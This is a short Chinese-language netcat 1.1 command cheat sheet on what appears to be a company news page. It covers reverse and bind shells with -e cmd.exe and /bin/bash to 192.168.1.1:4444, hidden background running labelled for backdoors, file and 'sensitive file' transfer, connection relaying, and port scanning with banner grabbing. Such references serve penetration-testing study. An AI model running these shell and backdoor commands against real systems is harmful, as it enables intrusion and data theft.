你的位置:首页 > 信息动态 > 新闻中心
信息动态
联系我们

netcat1.1常用命令

2021/12/29 10:35:14

-d:不显示命令框,在后台运行,用于建立后门
    eg:nc -d -i 192.168.1.1 -p 4444  (在后台连接1.1的4444端口)
        nc -d 192.168.1.1 4444

-e:执行某个程序,用于建立后门和转发连接
    eg:nc -i 192.168.1.1 -p 4444 -e cmd.exe
        nc -i 192.168.1.1 -p 4444 -e /bin/bash
        nc -i 192.168.1.1 -p 4444 -e 自定义可执行程序路径
        nc -d 192.168.1.1 4444  -e 自定义可执行程序路径


nc可以传输文件,可用于取证,由于是二进制传输,不会影响文件,也可用于敏感文件的单个传输
    eg:nc -lvvp 4444 >1.txt(监听端)
        nc 192.168.1.1 4444 <123.txt(连接端)
        注意:必须先进行监听,才能进行连接。与文件的传输方向无关。
    eg2:nc -lvvp 5555 <1.txt
         nc 192.168.1.1 4444 >123.txt


nc可以用于转发连接,主要是通过借用 -e参数来执行一个可执行文件,
    先写一个适合当前版本的批处理文件,win可以使bat文件。linux可以使sh文件。
    eg:echo nc ip地址 端口 >文件位置
        echo nc 192.168.1.1 4444 >12.bat(创建bat文件)
        nc -lvvp 5555 -e 12.bat
    当有主机连接到5555端口时,该主机会自动将连接导向192.168.1.1的4444端口,实现转发,


nc可以用于信息探测:内网扫描(ip和端口扫描),对目标服务的banner信息进行探测(好像只能单个扫描)
    eg:nc -v -n -z -w1 ip地址 端口段
        nc -v -n -z -w1 192.168.1.1 1-1000
    banner信息的抓取:
        echo " "|nc -v -n -w1 ip地址 端口段
        echo " "|nc -v -n -w1 192.168.1.1 1-1000